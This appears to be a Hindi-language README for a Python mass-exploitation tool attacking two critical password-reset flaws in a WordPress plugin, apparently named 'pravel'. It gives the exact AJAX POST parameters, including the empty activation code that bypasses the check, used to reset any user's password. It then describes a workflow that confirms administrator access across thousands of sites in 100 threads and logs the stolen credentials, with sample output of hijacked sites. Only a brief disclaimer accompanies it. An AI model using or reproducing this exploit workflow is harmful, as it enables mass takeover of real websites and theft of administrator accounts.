
अप्रमाणित खाता अधिग्रहण कमजोर पासवर्ड रीसेट सत्यापन के माध्यम से 'reset_user_id' पैरामीटर | अप्रमाणित विशेषाधिकार वृद्धि कमजोर पासवर्ड रीसेट सत्यापन के माध्यम से 'reset_activation_code' के कारण खाता अधिग्रहण
अप्रमाणीकृत खाता अधिग्रहण: कमजोर पासवर्ड रीसेट सत्यापन के माध्यम से 'reset_user_id' पैरामीटर के ज़रिए | अप्रमाणीकृत विशेषाधिकार वृद्धि: कमजोर पासवर्ड रीसेट सत्यापन के माध्यम से 'reset_activation_code' के ज़रिए, जिससे खाता अधिग्रहण होता है
द्वारा: Khaled Alenazi (Nxploited)
अप्रमाणीकृत विशेषाधिकार वृद्धि: कमजोर पासवर्ड रीसेट सत्यापन के माध्यम से
| फ़ील्ड | मान |
|---|---|
| CVSS | 9.8 क्रिटिकल |
| वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रकाशित | 23 जून, 2026 |
| शोधकर्ता | Alyudin Nafiie |
pravel_change_password() फ़ंक्शन एक wp_ajax_nopriv हैंडलर के रूप में पंजीकृत है — बिना प्रमाणीकरण के सुलभ। यह कोई nonce सत्यापन और न ही कोई क्षमता जाँच करता है। एकमात्र सुरक्षा हमलावर द्वारा प्रदान किए गए reset_activation_code और उपयोगकर्ता के forgot_email मेटा मान के बीच एक ढीली समानता तुलना है। किसी भी उपयोगकर्ता के लिए जिसने कभी पासवर्ड रीसेट ट्रिगर नहीं किया है, get_user_meta() एक खाली स्ट्रिंग लौटाता है, जो एक छोड़े गए या खाली कोड के विरुद्ध '' == '' को तुच्छ रूप से संतुष्ट करता है। इसलिए एक अप्रमाणीकृत हमलावर admin-ajax.php पर action=pravel_change_password, reset_user_id किसी भी उपयोगकर्ता ID (एडमिनिस्ट्रेटर खातों सहित) पर सेट करके, और new_password_custom एक मनमाना पासवर्ड पर सेट करके एक क्राफ्टेड POST भेज सकता है — पूर्ण खाता अधिग्रहण प्राप्त करना।
अप्रमाणीकृत खाता अधिग्रहण: कमजोर पासवर्ड रीसेट सत्यापन के माध्यम से
| फ़ील्ड | मान |
|---|---|
| CVSS | 9.8 क्रिटिकल |
| वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रकाशित | 23 जून, 2026 |
| शोधकर्ता | Alyudin Nafiie |
pravel_invoice_change_password() फ़ंक्शन भी इसी प्रकार बिना nonce और बिना प्राधिकरण जाँच के एक nopriv AJAX हैंडलर के रूप में उजागर होता है। वही '' == '' बाईपास लागू होता है: एक खाली reset_activation_code प्रदान करना, एक एडमिनिस्ट्रेटर के विरुद्ध जिसने कभी forgot-password प्रवाह का उपयोग नहीं किया है, तत्काल पासवर्ड रीसेट प्रदान करता है। हमलावर reset_user_id के माध्यम से लक्ष्य को और new_password_custom के माध्यम से नई क्रेडेंशियल को नियंत्रित करता है।
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
टर्मिनल:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
परिणाम फ़ाइल (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
आवश्यकताएँ:
pip install requests rich colorama urllib3
यह उपकरण केवल अधिकृत सुरक्षा अनुसंधान और पैठ परीक्षण के लिए प्रदान किया गया है।
उन सिस्टमों के विरुद्ध उपयोग करना जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है।
लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।
सभी CVE विवरण सार्वजनिक भेद्यता डेटाबेस से प्राप्त किए गए हैं।
द्वारा: Khaled Alenazi (Nxploited)